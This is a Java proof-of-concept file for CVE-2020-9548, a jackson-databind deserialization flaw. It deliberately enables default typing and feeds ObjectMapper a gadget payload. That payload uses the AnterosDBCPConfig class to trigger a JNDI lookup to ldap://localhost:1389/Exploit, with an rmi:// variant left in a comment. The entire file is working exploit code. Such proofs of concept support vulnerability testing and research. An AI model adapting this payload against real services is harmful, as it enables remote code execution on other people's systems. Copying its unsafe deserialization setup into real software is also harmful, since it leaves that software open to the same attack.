package summer.jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

/**
 * @ClassName: jacksonpoc9548
 * @Description: TODO
 * @Author: Samny
 * @Date: 2020/4/24 14:29
 * @Version: v1.0.0
 * @Description: CVE-2020-9548 FasterXML/jackson-databind 远程代码执行漏洞
 **/
public class jacksonpoc9548 {
    public static void main(String args[]) {
        ObjectMapper mapper = new ObjectMapper();

        mapper.enableDefaultTyping();

        String json = "[\"br.com.anteros.dbcp.AnterosDBCPConfig\", {\"healthCheckRegistry\": " +
                "\"ldap://localhost:1389/Exploit\"}]";
//                "\"rmi://localhost:1389/Exploit\"}]"; 也可以切换成这个服务
        try {
            mapper.readValue(json, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
}
